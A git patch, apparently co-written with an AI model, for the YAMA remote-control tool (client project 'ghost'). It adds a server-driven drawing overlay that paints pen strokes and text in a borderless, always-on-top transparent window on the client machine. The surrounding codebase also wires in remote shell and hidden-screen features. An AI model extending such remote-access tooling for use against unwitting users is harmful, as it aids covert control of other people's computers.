From d269df9171c97746e36b5a2a68197847b4d8d732 Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Mon, 5 Oct 2026 10:52:58 +0200
Subject: [PATCH] =?UTF-8?q?Feature:=20Migrate=20SimplePlugins=20drawing=20?=
=?UTF-8?q?board=20(=E8=BF=9C=E7=A8=8B=E7=94=BB=E6=9D=BF=E8=BF=81=E7=A7=BB?=
=?UTF-8?q?)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Migrate the SimplePlugins remote drawing-board overlay into the YAMA client
as an "实验功能" right-click submenu entry. DrawingBoardMgr is isolated in
the SimplePluginsDrawingBoard namespace and draws pen paths and text onto a
transparent, top-most layered window.
The YAMA server already had the CDrawingBoard dialog, TOKEN_DRAWING_BOARD
(151) and the full RemoteDraw command set, so only the client overlay
manager and the menu wiring were missing. Add COMMAND_DRAWING_BOARD_PLUGIN
(165) and LoopDrawingBoardPlugin, spawned as a sub-connection from
KernelManager; the constructor sends TOKEN_DRAWING_BOARD so the existing
server dialog opens unchanged. Add a "远程画板" entry to the "实验功能"
submenu, routed via OnExperimentDrawingBoard.
Co-Authored-By: deepseek-v4-pro
---
client/ClientDll_vs2015.vcxproj | 2 +
client/Common.cpp | 6 +
client/Common.h | 1 +
client/DrawingBoardMgr.cpp | 290 ++++++++++++++++++++++++++++
client/DrawingBoardMgr.h | 36 ++++
client/KernelManager.cpp | 10 +
client/ghost_vs2015.vcxproj | 2 +
common/commands.h | 1 +
server/2015Remote/2015Remote.rc | Bin 186102 -> 186254 bytes
server/2015Remote/2015RemoteDlg.cpp | 7 +
server/2015Remote/2015RemoteDlg.h | 1 +
server/2015Remote/resource.h | 3 +-
12 files changed, 358 insertions(+), 1 deletion(-)
create mode 100644 client/DrawingBoardMgr.cpp
create mode 100644 client/DrawingBoardMgr.h
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 3ed6eb6..34e7c79 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -193,6 +193,7 @@
+
@@ -252,6 +253,7 @@
+
diff --git a/client/Common.cpp b/client/Common.cpp
index da691b9..2ffa531 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -6,6 +6,7 @@
#include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
+#include "DrawingBoardMgr.h"
#include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
@@ -125,6 +126,11 @@ DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
return LoopManager(lParam);
}
+DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
+{
+ return LoopManager(lParam);
+}
+
DWORD WINAPI LoopShellManager(LPVOID lParam)
{
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
diff --git a/client/Common.h b/client/Common.h
index e8fd74c..cd4fa80 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -32,6 +32,7 @@ DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
+DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam);
diff --git a/client/DrawingBoardMgr.cpp b/client/DrawingBoardMgr.cpp
new file mode 100644
index 0000000..f8077ab
--- /dev/null
+++ b/client/DrawingBoardMgr.cpp
@@ -0,0 +1,290 @@
+#include "DrawingBoardMgr.h"
+#include
+
+#define MSG_CLEAR 999
+
+namespace SimplePluginsDrawingBoard {
+
+DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
+{
+ m_fAlpha = 150;
+ m_bIsWorking = TRUE;
+ m_bTopMost = TRUE;
+ m_hWnd = NULL;
+ m_textColor = RGB(255,0,0);
+ m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
+ DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
+ DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
+ m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
+ __CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
+ BYTE bToken = TOKEN_DRAWING_BOARD;
+ m_ClientObject->Send2Server((char*)&bToken, 1);
+}
+
+DrawingBoardMgr::~DrawingBoardMgr()
+{
+ m_bIsWorking = FALSE;
+ while (m_hWnd)
+ Sleep(200);
+ DeleteObject(m_DrawPen);
+ DeleteObject(m_Font);
+}
+
+DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
+{
+ Mprintf("Start DrawingThreadProc\n");
+ DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
+ pThis->RunWindowThread();
+ pThis->m_bIsWorking = FALSE;
+ Mprintf("Stop DrawingThreadProc\n");
+ return 0;
+}
+
+void DrawingBoardMgr::RunWindowThread()
+{
+ const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
+ static bool s_classRegistered = false;
+ if (!s_classRegistered) {
+ WNDCLASSEX wc = {};
+ wc.cbSize = sizeof(WNDCLASSEX);
+ wc.lpfnWndProc = DrawingBoardMgr::WndProc;
+ wc.hInstance = GetModuleHandle(NULL);
+ wc.lpszClassName = CLASS_NAME;
+ wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
+ wc.hIcon = NULL; // 标题栏图标
+ wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
+ if (!RegisterClassEx(&wc)) {
+ Mprintf("RegisterClassEx failed: %d\n", GetLastError());
+ }
+ s_classRegistered = true;
+ }
+
+ DWORD dwStyle = WS_POPUP | WS_BORDER;
+ m_hWnd = CreateWindowEx(
+ WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
+ dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
+ NULL, NULL, GetModuleHandle(NULL), this
+ );
+ if (m_hWnd == NULL) return;
+
+ LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
+ style |= WS_BORDER; // 增加窄边框
+ style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
+ SetWindowLong(m_hWnd, GWL_STYLE, style);
+
+ // 去掉系统菜单
+ SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+ BringWindowToTop(m_hWnd);
+
+ // 透明度
+ SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
+
+ ShowWindow(m_hWnd, SW_SHOW);
+ UpdateWindow(m_hWnd);
+
+ MSG msg;
+ while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
+ TranslateMessage(&msg);
+ DispatchMessage(&msg);
+ Sleep(1);
+ }
+ if (m_hWnd)
+ PostMessage(m_hWnd, WM_CLOSE, 0, 0);
+ m_hWnd = NULL; // 线程退出后,窗口已销毁
+}
+
+LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+ DrawingBoardMgr* pThis = nullptr;
+
+ if (msg == WM_NCCREATE) {
+ CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
+ pThis = (DrawingBoardMgr*)cs->lpCreateParams;
+ SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
+ }
+ else {
+ pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
+ }
+
+ if (pThis) {
+ switch (msg) {
+ case WM_GETICON:
+ return NULL;
+ case WM_WINDOWPOSCHANGED:
+ {
+ WINDOWPOS* pwp = (WINDOWPOS*)lParam;
+ if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
+ // 如果窗口层级被改变,重新设置为顶层
+ SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
+ SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
+ }
+ break;
+ }
+ case WM_PAINT:
+ {
+ PAINTSTRUCT ps;
+ HDC hdc = BeginPaint(hWnd, &ps);
+
+ HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
+ HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
+ pThis->m_locker.lock();
+ auto paths = pThis->m_Paths;
+ auto currentPath = pThis->m_CurrentPath;
+ auto texts = pThis->m_Texts;
+ pThis->m_locker.unlock();
+ // 画所有历史路径
+ for (const auto& path : paths)
+ {
+ if (path.size() >= 2)
+ Polyline(hdc, path.data(), (int)path.size());
+ }
+
+ // 画当前路径
+ if (currentPath.size() >= 2)
+ {
+ Polyline(hdc, currentPath.data(), (int)currentPath.size());
+ }
+
+ // 绘制文字
+ SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
+ SetBkMode(hdc, TRANSPARENT); // 设置透明背景
+ for (const auto& entry : texts)
+ TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
+
+ SelectObject(hdc, hOldPen);
+ SelectObject(hdc, hOldFont);
+
+ EndPaint(hWnd, &ps);
+ return 0;
+ }
+ case WM_DESTROY:
+ PostQuitMessage(0);
+ return 0;
+ case MSG_CLEAR:
+ pThis->m_locker.lock();
+ pThis->m_Paths.clear();
+ pThis->m_CurrentPath.clear();
+ pThis->m_Texts.clear();
+ pThis->m_locker.unlock();
+ InvalidateRect(hWnd, NULL, TRUE);
+ break;
+ }
+ }
+
+ return DefWindowProc(hWnd, msg, wParam, lParam);
+}
+
+VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+ if (ulLength < 1) return;
+
+ BYTE cmd = szBuffer[0];
+
+ switch (cmd)
+ {
+ case CMD_DRAW_POINT:
+ if (ulLength == sizeof(POINT) + 1)
+ {
+ POINT pt = *(POINT*)(szBuffer + 1);
+ m_locker.lock();
+ m_CurrentPath.push_back(pt);
+ m_locker.unlock();
+ if (m_hWnd)
+ InvalidateRect(m_hWnd, NULL, FALSE);
+ }
+ break;
+ case CMD_DRAW_END:
+ m_locker.lock();
+ if (!m_CurrentPath.empty())
+ {
+ m_Paths.push_back(m_CurrentPath);
+ m_CurrentPath.clear();
+ if (m_hWnd)
+ InvalidateRect(m_hWnd, NULL, FALSE);
+ }
+ m_locker.unlock();
+ break;
+ case CMD_TRANSPORT:
+ m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
+ SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
+ break;
+ case CMD_TOPMOST:
+ m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
+ SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
+ SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+ break;
+ case CMD_MOVEWINDOW:
+ if (ulLength == sizeof(RECT) + 1)
+ {
+ RECT rect = *(RECT*)(szBuffer + 1);
+ if (m_hWnd && IsWindow(m_hWnd))
+ {
+ ::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
+ rect.right-rect.left, rect.bottom-rect.top,
+ SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
+ }
+ }
+ break;
+ case CMD_SET_SIZE: {
+ if (ulLength == sizeof(int) * 2 + 1) {
+ int x[2];
+ memcpy(x, szBuffer + 1, sizeof(int) * 2);
+ if (IsWindow(m_hWnd)) {
+ ::SetWindowPos(m_hWnd, NULL, 0, 0,
+ x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
+ }
+ }
+ break;
+ }
+ case CMD_DRAW_CLEAR: {
+ PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
+ break;
+ }
+ case CMD_DRAW_TEXT: {
+ ParseRemoteText(szBuffer + 1, ulLength - 1);
+ break;
+ }
+ default:
+ break;
+ }
+}
+
+void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
+{
+ if (length < sizeof(POINT)) return;
+
+ // 提取位置
+ POINT pt = *(POINT*)data;
+ PBYTE textData = data + sizeof(POINT);
+ int textLen = (int)(length - sizeof(POINT));
+
+ // UTF-8 → WCHAR
+ int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
+ if (wideLen <= 0) return;
+
+ std::wstring wstr(wideLen, 0);
+ MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
+
+#ifdef _UNICODE
+ CString cstr(wstr.c_str());
+#else
+ // 若项目使用多字节字符集
+ int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
+ std::string cstr;
+ if (ansiLen > 0)
+ {
+ std::string ansi(ansiLen - 1, 0);
+ WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
+ cstr = ansi.c_str();
+ }
+#endif
+
+ // 存入本地图形对象并刷新绘图区域
+ m_locker.lock();
+ m_Texts.push_back(std::make_pair(pt, cstr));
+ m_locker.unlock();
+ if (m_hWnd)
+ InvalidateRect(m_hWnd, NULL, FALSE);
+}
+
+} // namespace SimplePluginsDrawingBoard
diff --git a/client/DrawingBoardMgr.h b/client/DrawingBoardMgr.h
new file mode 100644
index 0000000..c28882e
--- /dev/null
+++ b/client/DrawingBoardMgr.h
@@ -0,0 +1,36 @@
+#pragma once
+#include "Manager.h"
+#include
+#include
+#include "common/locker.h"
+
+namespace SimplePluginsDrawingBoard {
+
+class DrawingBoardMgr : public CManager
+{
+public:
+ DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
+ ~DrawingBoardMgr();
+
+ virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+
+ void ParseRemoteText(PBYTE data, ULONG length);
+
+private:
+ BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
+ BOOL m_bTopMost; // 顶层
+ BOOL m_bIsWorking; // 线程状态
+ HWND m_hWnd; // 窗口
+ std::vector> m_Paths; // 历史路径集合,每条路径是一组点
+ std::vector m_CurrentPath; // 当前正在绘制的路径点集合
+ std::vector> m_Texts;
+ HFONT m_Font;
+ COLORREF m_textColor;
+ HPEN m_DrawPen;
+ CLocker m_locker;
+ static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
+ void RunWindowThread();
+ static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
+};
+
+} // namespace SimplePluginsDrawingBoard
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 39a9e9b..f8a25d7 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -1197,6 +1197,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
+ case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
+ {
+ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+ sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
+ m_hThread[m_ulThreadCount].p = sub;
+ }
+ m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+ break;
+ }
+
case COMMAND_SHELL: {
if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 1b4bc70..46f8598 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -200,6 +200,7 @@
+
@@ -262,6 +263,7 @@
+
diff --git a/common/commands.h b/common/commands.h
index 1a577c3..376c3b5 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -324,6 +324,7 @@ enum {
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
+ COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index e059125324ba92b86b2ea6f81789d76ef2bda272..aaa1897c4b61214e7bed1aaeb43838d0d553db10 100644
GIT binary patch
delta 59
zcmV-B0L1_HtqYE?3xKo%YRZ@7y8$c*+>Z--J9U4T5z7HBmoUl!9G7C10veaXJpweB
R?#KZShpNf}x2nnlObq?d7>fV^
delta 31
ncmeBM&;4yJcf%IOtW(of&NCWKe|LhBuifc1<94UhOg=mS